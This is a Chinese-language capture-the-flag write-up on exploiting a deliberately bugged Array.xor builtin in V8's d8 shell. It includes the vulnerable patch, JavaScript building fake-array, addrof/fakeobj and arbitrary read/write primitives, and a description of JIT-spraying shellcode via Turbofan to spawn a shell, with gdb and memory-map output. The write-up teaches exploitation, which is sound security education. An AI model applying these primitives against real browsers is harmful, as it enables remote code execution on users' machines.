尽管 Chrome 有 7 个 CVE,但我之前从未真正充分利用过其V8 JavaScript 引擎中的内存损坏问题。Baby array.xor是今年 openECSC CTF 上的一项挑战,也是我第一次从 V8 漏洞到弹出/bin/shshell。
大多数 V8 漏洞利用通常分为两个阶段 - 找出一种独特的方法来触发至少 1 个字节的某种内存损坏,然后遵循一种常见的模式,在该损坏的基础上构建读取任意地址 ( addrof),创建虚假对象 ( fakeobj),并最终实现任意代码执行。这个挑战也不例外。
Baby Array.xor
dist/args.gn[download zip] https://raw.githubusercontent.com/ECSC2024/openECSC-2024/main/round-3/pwn03/attachments/array.xor.zip
dist/d8
dist/snapshot_blob.bin
docker-compose.yml
Dockerfile
README.md
v8.patch
wrapper.py
第 1 部分:查找内存损坏
挑战包括 V8 引擎通过补丁添加的一些新功能:
/*
Array.xor()
let x = [0.1, 0.2, 0.3];
x.xor(5);
*/
BUILTIN(ArrayXor) {
HandleScope scope(isolate);
Factory *factory = isolate->factory();
Handle<Object> receiver = args.receiver();
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, JSArray::cast(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Nope")));
}
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
ElementsKind kind = array->GetElementsKind();
if (kind != PACKED_DOUBLE_ELEMENTS) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Array.xor needs array of double numbers")));
}
// Array.xor() needs exactly 1 argument
if (args.length() != 2) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Array.xor needs exactly one argument")));
}
// Get array len
uint32_t length = static_cast<uint32_t>(Object::Number(array->length()));
// Get xor value
Handle<Object> xor_val_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, xor_val_obj, Object::ToNumber(isolate, args.at(1)));
uint64_t xor_val = static_cast<uint64_t>(Object::Number(*xor_val_obj));
// Ah yes, xoring doubles..
Handle<FixedDoubleArray> elements(FixedDoubleArray::cast(array->elements()), isolate);
FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
double x = elements->get_scalar(i);
uint64_t result = (*(uint64_t*)&x) ^ xor_val;
elements->set(i, *(double*)&result);
});
return ReadOnlyRoots(isolate).undefined_value();
}
补丁添加了一个新的Array.xor()原型,可用于对双精度数组内的所有值进行异或运算,让我们尝试一下:
这是一个相当奇特的特征。如果你不熟悉IEEE 754 双精度数,这可能会让你感到困惑,但只要我们看一下这些值的十六进制表示,就会明白:
它基本上只是将双精度数解释为整数,然后对其执行异或运算。在此示例中,我们将双精度数与 0x539(十进制为 1337)进行异或运算,因此每个双精度数的最后三个十六进制数字都发生了变化。对双精度数执行此操作非常愚蠢。
然而,仅仅对双精度数进行异或运算并不能给我们带来任何结果,因为这些值存储在双精度数数组 ( PACKED_DOUBLE_ELEMENTS1 ) 中,只是原始的 64 位双精度数。我们所能做的就是改变一些数字,但这是我们在没有异或运算的情况下已经可以做到的事情。如果我们可以在由指向其他 JavaScript 对象的内存指针PACKED_ELEMENTS组成的混合数组 ( ) 上运行这个异或运算,那会更有趣,因为我们可以将指针指向内存中我们不应该指向的地方。
好吧,让我们尝试一个包含对象的数组:
嗯,好像有一个检查可以阻止我们这样做:
ElementsKind kind = array->GetElementsKind();
if (kind != PACKED_DOUBLE_ELEMENTS) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Array.xor needs array of double numbers")));
}
但是如果我们创建一个双精度数组,然后将其包装在一个邪恶的代理中,会怎么样呢?
没有骰子,似乎他们也想到了这一点:
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, JSArray::cast(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Nope")));
}
IsJSArray方法确保我们实际上传递了一个数组,而HasOnlySimpleReceiverElements方法检查数组或其原型内是否存在sus 2 的任何内容。
嗯,到目前为止,这似乎编码得很好。除了基本的双精度数组之外,我们无法通过这些检查,而对这样的数组进行异或运算不会有任何效果。我继续仔细检查代码的其他部分,看是否存在任何可能的缺陷。
数组的长度存储在 a 中uint32_t,我认为也许我们可以溢出这个值,但事实证明你不能让数组那么大:
我也尝试过弄乱长度值,但是 v8 不允许我们以这里可用的方式这样做:
然后我突然想到——我们只对数组本身做了所有这些花哨的检查,而不是参数!在Object::ToNumber(isolate, args.at(1))我们已经通过了所有前面的数组检查之后,我们得到了 xor 参数( ),所以也许我们可以把 xor 参数变成邪恶的,并在我们已经通过初始检查之后将一个对象放入双精度数组中?让我们试一试:
第 2 部分:突破界限
现在我们已经找到了一种将一些对象放入数组并处理其指针的方法,我们必须想办法将它们变成我们可以实际使用的原语。从这里开始,有几种不同的方法可以实现这一点。我将采用我最初采用的路径,但看看你是否能找到其他方法来实现这一点——我将在文章末尾分享一些(可以说是更好的方法)。
但首先,我们应该看看 v8 如何在内存中存储内容,这样我们才能弄清楚内存损坏的情况以及我们可以用它做什么。我们该怎么做?
使用d8 natives 语法和调试器!如果我们使用标志启动 d8(v8 shell)--allow-natives-syntax,我们可以使用各种调试功能,例如%DebugPrint(obj)检查对象发生了什么,如果我们将其与调试器(在本例中为gdb)结合使用,我们甚至可以检查整个内存以更好地理解它。让我们尝试一下:
$ gdb --args ./d8 --allow-natives-syntax <-- use d8 with the natives syntax in gdb
GNU gdb (GDB) 14.2
(gdb) run <-- start d8
Starting program: /home/lyra/Desktop/array.xor/dist/d8 --allow-natives-syntax
V8 version 12.7.0 (candidate)
d8> arr = [1.1, 2.2, 3.3] <-- create an array
[1.1, 2.2, 3.3]
d8> %DebugPrint(arr) <-- debugprint the array
DebugPrint: 0xa3800042be9: [JSArray] <-- we get the address here
- map: 0x0a38001cb7c5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a38001cb11d <JSArray[0]>
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0a3800000725 <FixedArray[0]>
- All own properties (excluding elements): {
0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 <AccessorInfo name= 0x0a3800000d99 <String[6]: #length>, data= 0x0a3800000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0xa38001cb7c5: [Map] in OldSpace
- map: 0x0a38001c01b5 <MetaMap (0x0a38001c0205 <NativeContext[295]>)>
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- enum length: invalid
- back pointer: 0x0a38001cb785 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a3800000a89 <Cell value= 1>
- instance descriptors #1: 0x0a38001cb751 <DescriptorArray[1]>
- transitions #1: 0x0a38001cb7ed <TransitionArray[4]>
Transition array #1:
0x0a3800000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a38001cb805 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0a38001cb11d <JSArray[0]>
- constructor: 0x0a38001cae09 <JSFunction Array (sfi = 0xa380002b2f9)>
- dependent code: 0x0a3800000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
[1.1, 2.2, 3.3]
d8> ^Z <-- suspend d8 (ctrl+z) to get to gdb
Thread 1 "d8" received signal SIGTSTP, Stopped (user).
0x00007ffff7da000a in read () from /usr/lib/libc.so.6
(gdb) x/8xg 0xa3800042be9-1 <-- examine the array's address
0xa3800042be8: 0x00000725001cb7c5 0x0000000600042bc9
0xa3800042bf8: 0x00bab9320000010d 0x7566280a00000adc
0xa3800042c08: 0x29286e6f6974636e 0x20657375220a7b20
0xa3800042c18: 0x3b22746369727473 0x6d2041202f2f0a0a
(gdb)
在此示例中,我创建了一个数组,使用 DebugPrint 查看其地址,然后使用 gdb 的x/8xg3命令查看该地址周围的内存。接下来,我将清理博客文章中显示的示例,但这基本上就是您可以在家跟进的方法。
您会注意到,在查看内存地址之前,我从内存地址中减去了 1 - 这是因为标记指针!在数组PACKED_ELEMENTS(和许多其他 V8 结构)中,以 0 位(偶数)结尾的 SMI(小整数)被直接移位和存储,但以 1 位(奇数)结尾的所有内容都被解释为指针,因此指向 的指针0x1000被存储为0x1001。因此,我们必须在检查所有标记指针的地址之前从它们中减去 1。
但是让我们尝试理解上面的 gdb 输出的含义:
V8 ——————————————————————————————————————————————————
DebugPrint: 0xa3800042be9: [JSArray]
- map: 0x0a38001cb7c5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a38001cb11d <JSArray[0]>
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0a3800000725 <FixedArray[0]>
- All own properties (excluding elements): {
0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 <AccessorInfo name= 0x0a3800000d99 <String[6]: #length>, data= 0x0a3800000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x0a3800042bc9 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
GBD ——————————————————————————————————————————————————
0xa3800042bb8: 0x00000004000005e5 0x001d3377020801a4
0xa3800042bc8: 0x00000006000008a9 0x3ff199999999999a
0xa3800042bd8: 0x400199999999999a 0x400a666666666666
0xa3800042be8: 0x00000725001cb7c5 0x0000000600042bc9
0xa3800042bf8: 0x00bab9320000010d 0x7566280a00000adc
ENG ——————————————————————————————————————————————————
The array is at 0xa3800042be8, its properties list is empty, it's a PACKED_DOUBLE_ELEMENTS array with a length of 34 at 0xa3800042bc8. At that address we find a FixedDoubleArray with a length of 3 (again) and the doubles 1.1, 2.2, and 3.3.
尝试将鼠标悬停在上面的文本和内容上。您将看到内存值的含义以及它们在 %DebugPrint 输出中的表示方式。
您可能想知道为什么内存只包含一半的地址 -0xa3800042bc8例如存储为0x00042bc9。这是V8 的指针压缩,对于我们的目的而言,它所做的只是使指针成为地址的低 32 位。
非常酷,让我们看看如果将一个数组放入另一个数组中会发生什么:
V8 ——————————————————————————————————————————————————
DebugPrint: 0xa3800044a31: [JSArray]
- map: 0x0a38001cb845 <Map[16](PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0a38001cb11d <JSArray[0]>
- elements: 0x0a3800044a25 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0a3800000725 <FixedArray[0]>
- All own properties (excluding elements): {
0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 <AccessorInfo name= 0x0a3800000d99 <String[6]: #length>, data= 0x0a3800000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x0a3800044a25 <FixedArray[1]> {
0: 0x0a3800042be9 <JSArray[3]>
}
GBD ——————————————————————————————————————————————————
0xa3800044a10: 0x000005e5000449f5 0x1d1a6d7400000004
0xa3800044a20: 0x0000056d001d3fb7 0x00042be900000002
0xa3800044a30: 0x00000725001cb845 0x0000000200044a25
0xa3800044a40: 0x00000725001cb845 0x0000000200044b99
ENG ——————————————————————————————————————————————————
The PACKED_ELEMENTS array is at 0xa3800044a30, its 1 element is at 0xa3800044a24 in a FixedArray[1] and the element is a pointer to the previous array at 0xa3800042be8.
此处元素的内存顺序看起来有点奇怪,因为它与 64 位字不一致,而且我们查看的是小端内存。这有点违反直觉,因为0x0000000011112222 0x3333444400000000您不必像读取偏移值那样读取它0x3333444400000000 0x0000000011112222。
这是一个有趣的小部件,可以用来玩这个概念:
我们数组中的数组只是作为指向该数组的指针存储的!目前它指向的0xa3800042be8是我们的双精度数组,但如果我们将这个指针异或到不同的地址,我们可以让它指向我们想要的任何数组或对象……即使它并不“实际”存在!
让我们尝试让一个新的数组凭空出现。为此,我们必须在内存中放入一些看起来像数组的东西,然后使用 XOR 将指针指向它。我将在 处重用第一个数组的标头0xa3800042be8,更改内存地址以匹配我们的新假数组。
GBD ——————————————————————————————————————————————————
0x??????????: 0x???????????????? 0x00000100000008a9
0x??????????: 0x00000725001cb7c5 0x0000010000042bd1
ENG ——————————————————————————————————————————————————
Fake PACKED_DOUBLE_ELEMENTS array with an empty properties list, with 128 elements at 0x???00042bd0. At that address we will have a FixedDoubleArray with a length of 128.
这看起来是个不错的伪造!而且 128 个元素的长度是一个额外的好处 - 让我们可以读取和写入远远超出我们应该能够做到的内容。要将这个伪造的数组放入内存中,我们必须首先将其转换为浮点数,以便我们可以在数组中使用它。有很多方法可以做到这一点,但 JavaScript 中最简单的方法是在Float64Array和BigUint64Array之间共享相同的ArrayBuffer。
非常简单!您会注意到我n在十六进制值后附加了一个 - 这只是将其转换为BigInt ,这是BigUint64Array所必需的,但同时也为我们提供了更好的精度。
我们将这些值放入之前的数组中:
因此,我们原始的真实数组从 开始0xa3800042be8,并且我们在内存中有一个很酷的新假数组0xa3800042bd8,所以我们现在能做的就是用邪恶的 getter 技巧将我们的真实数组放入第三个数组中,然后对指针进行异或以使其指向假数组。
哇!我们的假数组包含很多我们没有放进去的酷数据。让我们看看它在内存中是什么样子的。
太酷了!它实际上只是将接下来的 1024 个字节内存作为双精度数,让我们只需查看数组就可以看到所有内容。事实上,我们甚至可以在元素2和3中看到原始arr数组的标题,让我们尝试从 JavaScript 中读取它。我们需要一个函数将浮点数转回十六进制,为此,我们可以创建前面函数的逆函数。i2f
令人兴奋!让我们arr用一些随机的东西覆盖 的标头,看看会发生什么。
哎呀,是的……问题就在这里。我们正在使用的内存相当脆弱,随意改变东西最终会导致崩溃。
如果我们不希望出现分段错误以外的问题,那么今后就必须更加小心。而且以后还有更多需要担心的问题,因为 v8 还有一个垃圾收集器,它会不时地重新整理内存。
然而,这是一个制定计划以完成我们的原始任务的好时机。
第 3 部分:处理一些原语
在 JavaScript 利用中,内存损坏通常会变成addrof和fakeobj原语。addrof是一个告诉我们 JavaScript 对象地址的函数,而fakeobj是一个返回指向内存地址的指针的函数,该指针将被解释为对象,类似于我们之前创建伪数组时所做的操作。
让我们将迄今为止的研究总结成一个漂亮的小脚本。
// set up helper stuff
const buffer = new ArrayBuffer(8);
const floatBuffer = new Float64Array(buffer);
const int64Buffer = new BigUint64Array(buffer);
// bigint to double
function i2f(i) {
int64Buffer[0] = i;
return floatBuffer[0];
}
// double to bigint
function f2i(f) {
floatBuffer[0] = f;
return int64Buffer[0];
}
// bigint to 32-bit hex string
function hex32(i) {
return "0x" + i.toString(16).padStart(8, 0);
}
// bigint to 64-bit hex string
function hex64(i) {
return "0x" + i.toString(16).padStart(16, 0);
}
// set up variables
const arr = [1.1, 2.2, 3.3];
const tmpObj = {a: 1};
const objArr = [tmpObj];
// check the address of arr
%DebugPrint(arr);
// set up the fake array
const arrAddr = 0x12345678n;
const arrElementsAddr = arrAddr - 0x20n;
const fakeAddr = arrElementsAddr + 0x10n;
const fakeElementsAddr = arrElementsAddr + 0x8n;
arr[0] = i2f(0x00000100000008a9n);
arr[1] = i2f(0x00000725001cb7c5n);
arr[2] = i2f(0x0000010000000000n + fakeElementsAddr);
// do the exploit
const tmp = [1.1];
const evil = {
valueOf: () => {
tmp[0] = arr;
return Number(arrAddr ^ fakeAddr);
}
};
tmp.xor(evil);
// this is the fake 128-element array
const oob = tmp[0];
// print out the data in the fake array
for (let i = 0; i < oob.length; i++) {
const addr = hex32(fakeElementsAddr + BigInt(i + 1)*0x8n - 1n);
const val = hex64(f2i(oob[i]));
console.log(`${addr}: ${val}`);
}
脚本的开头设置了一些辅助函数。然后我们创建一个数组来存储我们的假数组,就像之前一样,还有另一个包含随机对象的数组。
要设置假数组,我们必须知道真实数组在内存中的位置。有很多方法可以实现这一点,但现在我们只需运行 %DebugPrint 并使用其输出将代码中的arrAddr值更改为内存地址。这种方法在我们这样的受控环境中可以正常工作(我们需要在更改代码时不断更新地址),但在现实世界中攻击浏览器时就会失效。我将在后面的文章中展示如何克服这个缺点。
然后我们可以猜测其余内存是如何排列的,并使用偏移量来设置一些其他变量,例如,我们将其添加到假数组的头部的fakeElementsAddr,以便它指向假数组的元素所在的位置。
一旦一切就绪,我们就可以执行异或漏洞利用,最终得到伪造的数组tmp[0]。为了方便起见,我们将其分配给oob变量,并以类似于 gdb 输出的格式打印出其内存。让我们运行它!
太棒了!如果我们仔细观察内存中的模式,我们就能找出我们之前初始化的其他数组和内容。如果你仔细想想,我们这里几乎已经有了 addrof和fakeobj原语。在索引 10处,我们可以获取当前 objArr 中对象的地址,因此如果我们将我们选择的对象放入该数组中,我们就可以看到它的地址。如果我们将对象的地址放入该索引处,我们将能够通过 objArr 数组访问它。那就是我们的addrof和fakeobj!
让我们编写原语来获取和设置高 32 位:
如果地址位于较低位,我们需要相应地修改代码:
是时候尝试一下了!让我们做一个实验,首先尝试获取伪数组的地址,然后将该地址转换为指向该数组的新指针。
太棒了!这里的指针地址被标记了,所以它们比实际的内存位置大 1。我们可以让 addrof 和 fakeobj 减 1 并加 1 来查看和使用实际的内存地址,但这只是个人喜好问题。
最后,我们要创建原语来任意读写内存。为此,我们可以创建一个新数组,将其指向我们想要的任何内存位置,然后读取或写入其第一个元素。虽然我们之前确实在两个单独的内存位置设置了数组的长度,但事实证明,这并不总是必要的,具体取决于我们想要做什么。如果我们只想读取或写入单个双精度数,我们只需在数组头中指定所需的地址就可以了。
function read(addr) {
const readArr = [1.1, 2.2];
readArr[0] = i2f(0x00000725001cb7c5n); // array header from earlier
readArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
return f2i(fakeobj(addrof(readArr) - 0x10n)[0]);
}
function write(addr, data) {
const writeArr = [1.1, 2.2];
writeArr[0] = i2f(0x00000725001cb7c5n);
writeArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
const fakeArr = fakeobj(addrof(writeArr) - 0x10n);
fakeArr[0] = i2f(data);
}
你知道 JavaScript 中的字符串是不可变的吗?无论如何,让我们使用我们编写的很酷的新功能来改变它们。
我们完成了不可能的事!想象一下,通过运行此漏洞并使字符串可变,我们将能够大大提高 Web 应用程序的性能。
第 4 部分:代码执行
所以我们可以读写任何内存,我们如何将其转化为代码执行?
我们可能首先想了解代码是如何存储和运行的。
哦,我们在那里看到了一个叫做代码的东西!但它是某种InterpreterEntryTrampoline,那是什么?
查找后发现,它似乎是Ignition生成的字节码。此 V8 特定字节码由 VM 运行,专为 JavaScript 制作。它对我们没什么用,因为我们想运行可以破解计算机的计算机代码,而不是可以破解网站的 Chrome 代码。进一步查看 V8 文档,我们发现Maglev和Turbofan,后者似乎非常适合我们,因为它可以编译成机器代码。
但我们的函数仍然是蹦床!我们如何将它变成涡轮风扇呢?
我们需要通过多次运行代码或使用调试命令让 V8 认为优化代码很重要。如果我们仍然启用了之前的 V8 本机语法,我们可以使用%PrepareFunction ForOptimization()和%OptimizeFunction OnNextCall()来实现这一目的。
咦,这不起作用,为什么呢?
该SEGV_ACCERR信号给了我们一个提示 - 这意味着访问内存映射时出现了某种权限错误。事实证明并非所有内存都是平等的,内存的不同部分具有不同的权限。在 Linux 中,我们可以通过查看进程的映射来看到这一点。
$ ./d8 & <-- run d8 in the background
[1] 1962 <-- that's the d8 process id
$ V8 version 12.7.0 (candidate)
d8>
[1]+ Stopped ./d8
$ cat /proc/1962/maps <-- look at the process map
a6b00000000-1a6b00010000 r--p 00000000 00:00 0
1a6b00010000-1a6b00020000 ---p 00000000 00:00 0
1a6b00020000-1a6b00040000 r--p 00000000 00:00 0
1a6b00040000-1a6b00143000 rw-p 00000000 00:00 0
1a6b00143000-1a6b00180000 ---p 00000000 00:00 0
1a6b00180000-1a6b00181000 rw-p 00000000 00:00 0
1a6b00181000-1a6b001c0000 ---p 00000000 00:00 0
1a6b001c0000-1a6b00200000 rw-p 00000000 00:00 0
1a6b00200000-1a6b00300000 ---p 00000000 00:00 0
1a6b00300000-1a6b00316000 r--p 00000000 00:00 0
1a6b00316000-1a6b00340000 ---p 00000000 00:00 0
1a6b00340000-1a6c00000000 ---p 00000000 00:00 0
55987ab85000-55987bcc3000 r--p 00000000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987bcc4000-55987d35e000 r-xp 0113e000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987d35e000-55987d3df000 r--p 027d7000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987d3e0000-55987d3ec000 rw-p 02858000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987d3ec000-55987d3ed000 r--p 02864000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987d3ed000-55987d3fb000 rw-p 02865000 08:01 1356475 /home/lyra/Desktop/array.xor/dist/d8
55987d3fb000-55987d42e000 rw-p 00000000 00:00 0
55987f17d000-55987f214000 rw-p 00000000 00:00 0 [heap]
5598dcf80000-5598fcf80000 rwxp 00000000 00:00 0
7f68b8000000-7f68b8010000 r--p 00000000 00:00 0
7f68b8010000-7f68d8000000 ---p 00000000 00:00 0
7f68d8000000-7f68d8010000 r--p 00000000 00:00 0
7f68d8010000-7f68f8000000 ---p 00000000 00:00 0
7f68f8000000-7f68f8010000 r--p 00000000 00:00 0
7f68f8010000-7f6918000000 ---p 00000000 00:00 0
7f6918000000-7f6918021000 rw-p 00000000 00:00 0
7f6918021000-7f691c000000 ---p 00000000 00:00 0
7f691c000000-7f691c021000 rw-p 00000000 00:00 0
7f691c021000-7f6920000000 ---p 00000000 00:00 0
7f6920000000-7f6920021000 rw-p 00000000 00:00 0
7f6920021000-7f6924000000 ---p 00000000 00:00 0
7f6927dce000-7f6927e1c000 rw-p 00000000 00:00 0
7f6927e1c000-7f6927e1d000 ---p 00000000 00:00 0
7f6927e1d000-7f692861d000 rw-p 00000000 00:00 0
7f692861d000-7f692861e000 ---p 00000000 00:00 0
7f692861e000-7f6928e1e000 rw-p 00000000 00:00 0
7f6928e1e000-7f6928e1f000 ---p 00000000 00:00 0
7f6928e1f000-7f6929623000 rw-p 00000000 00:00 0
7f6929623000-7f6929647000 r--p 00000000 08:01 5648200 /usr/lib/libc.so.6
7f6929647000-7f69297ab000 r-xp 00024000 08:01 5648200 /usr/lib/libc.so.6
7f69297ab000-7f69297f9000 r--p 00188000 08:01 5648200 /usr/lib/libc.so.6
7f69297f9000-7f69297fd000 r--p 001d6000 08:01 5648200 /usr/lib/libc.so.6
7f69297fd000-7f69297ff000 rw-p 001da000 08:01 5648200 /usr/lib/libc.so.6
7f69297ff000-7f6929807000 rw-p 00000000 00:00 0
7f6929807000-7f692980b000 r--p 00000000 08:01 5641004 /usr/lib/libgcc_s.so.1
7f692980b000-7f6929826000 r-xp 00004000 08:01 5641004 /usr/lib/libgcc_s.so.1
7f6929826000-7f692982a000 r--p 0001f000 08:01 5641004 /usr/lib/libgcc_s.so.1
7f692982a000-7f692982b000 r--p 00022000 08:01 5641004 /usr/lib/libgcc_s.so.1
7f692982b000-7f692982c000 rw-p 00023000 08:01 5641004 /usr/lib/libgcc_s.so.1
7f692982c000-7f692983a000 r--p 00000000 08:01 5648210 /usr/lib/libm.so.6
7f692983a000-7f69298b9000 r-xp 0000e000 08:01 5648210 /usr/lib/libm.so.6
7f69298b9000-7f6929915000 r--p 0008d000 08:01 5648210 /usr/lib/libm.so.6
7f6929915000-7f6929916000 r--p 000e8000 08:01 5648210 /usr/lib/libm.so.6
7f6929916000-7f6929917000 rw-p 000e9000 08:01 5648210 /usr/lib/libm.so.6
7f6929917000-7f6929918000 r--p 00000000 08:01 5648228 /usr/lib/libpthread.so.0
7f6929918000-7f6929919000 r-xp 00001000 08:01 5648228 /usr/lib/libpthread.so.0
7f6929919000-7f692991a000 r--p 00002000 08:01 5648228 /usr/lib/libpthread.so.0
7f692991a000-7f692991b000 r--p 00002000 08:01 5648228 /usr/lib/libpthread.so.0
7f692991b000-7f692991c000 rw-p 00003000 08:01 5648228 /usr/lib/libpthread.so.0
7f692991c000-7f692991d000 r--p 00000000 08:01 5648205 /usr/lib/libdl.so.2
7f692991d000-7f692991e000 r-xp 00001000 08:01 5648205 /usr/lib/libdl.so.2
7f692991e000-7f692991f000 r--p 00002000 08:01 5648205 /usr/lib/libdl.so.2
7f692991f000-7f6929920000 r--p 00002000 08:01 5648205 /usr/lib/libdl.so.2
7f6929920000-7f6929921000 rw-p 00003000 08:01 5648205 /usr/lib/libdl.so.2
7f6929921000-7f6929923000 rw-p 00000000 00:00 0
7f6929948000-7f6929949000 r--p 00000000 08:01 5648191 /usr/lib/ld-linux-x86-64.so.2
7f6929949000-7f6929970000 r-xp 00001000 08:01 5648191 /usr/lib/ld-linux-x86-64.so.2
7f6929970000-7f692997a000 r--p 00028000 08:01 5648191 /usr/lib/ld-linux-x86-64.so.2
7f692997a000-7f692997c000 r--p 00032000 08:01 5648191 /usr/lib/ld-linux-x86-64.so.2
7f692997c000-7f692997e000 rw-p 00034000 08:01 5648191 /usr/lib/ld-linux-x86-64.so.2
7ffde1b30000-7ffde1b51000 rw-p 00000000 00:00 0 [stack]
7ffde1baf000-7ffde1bb3000 r--p 00000000 00:00 0 [vvar]
7ffde1bb3000-7ffde1bb5000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
$
这些是 d8 使用的所有内存地址,每个地址都有与之关联的权限 -分别是读取、写入和执行。我们创建的数组位于读写映射之一中,因此尝试从那里执行代码将导致崩溃。我们需要将数据写入具有执行权限的映射中。
但是,我们如何将数据写入具有rwx权限的内存映射中?我们不能使用写入原语,因为它只能写入压缩指针可以访问的低 32 位。
在弄清楚这一点的过程中,我偶然发现了Anvbis 的这篇精彩文章,其中展示了如何使用 Turbofan 通过一个非常巧妙的技巧来实现这一点。我将大量借鉴那篇文章,但它的讲解更加深入,所以如果这听起来很有趣,请查看它。
Anvbis 所做的是创建一个包含双精度的函数,这些双精度经过 Turbofan 优化,变为rwx区域中的字节。然后他们可以偏移指令起始指针,从这些双精度开始执行,而不是从原始代码开始执行。
让我们看看是否可以通过这种方式触发 INT3 断点。
完美!我们在rwx内存中找到了0xCC指令被移动到的位置,然后成功将执行重定向到该点。唯一的问题是,内存中的重复项并不是一个接一个的 - 中间有一些其他指令,我们必须以某种方式处理它们。
解决方案是创建一些非常特殊的 shellcode,小心地从一个 double 跳转到下一个 double,这样我们的代码就成为唯一被执行的代码。Anvbis的写作比我更好地解释了这一点,所以去看看吧!
我们得到 shell 了!我们快到了,除了……
第五部分:请不要收集垃圾
我们仍然依赖%PrepareFunction ForOptimization()和%OptimizeFunction OnNextCall()调试函数。我们不能在实际的 CTF 中使用它们,所以让我们尝试替换它们。
我们想以某种方式告诉 V8 使用 Turbofan 优化我们的功能,而实现此目的的最简单方法就是多次运行我们的功能,让我们尝试一下!
耶,我们无需使用调试功能就获得了 Turbofan 代码!现在让我们再次尝试运行漏洞。
$ gdb --args ./d8 exploit.js
GNU gdb (GDB) 14.2
(gdb) run
[Thread 0x7ffff74986c0 (LWP 3563) exited]
[Thread 0x7ffff6c976c0 (LWP 3564) exited]
[Thread 0x7ffff7c996c0 (LWP 3562) exited]
[Inferior 1 (process 3559) exited normally]
(gdb)
嗯…没用吗?
让我们再试一次,使用一些调试日志并--trace-gc添加标志。
$ gdb --args ./d8 --trace-gc --allow-natives-syntax exploit.js
GNU gdb (GDB) 14.2
(gdb) run
Optimizing shellcode() into TURBOFAN
[3735:0x555557e0a000] 61 ms: Scavenge 1.1 (1.8) -> 0.1 (2.8) MB, pooled: 0 MB, 14.69 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 79 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 16.18 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 96 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 16.78 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 111 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 14.87 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 123 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 11.77 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 136 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 12.39 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 155 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 18.08 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 177 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 9.98 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
[3735:0x555557e0a000] 185 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 7.04 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
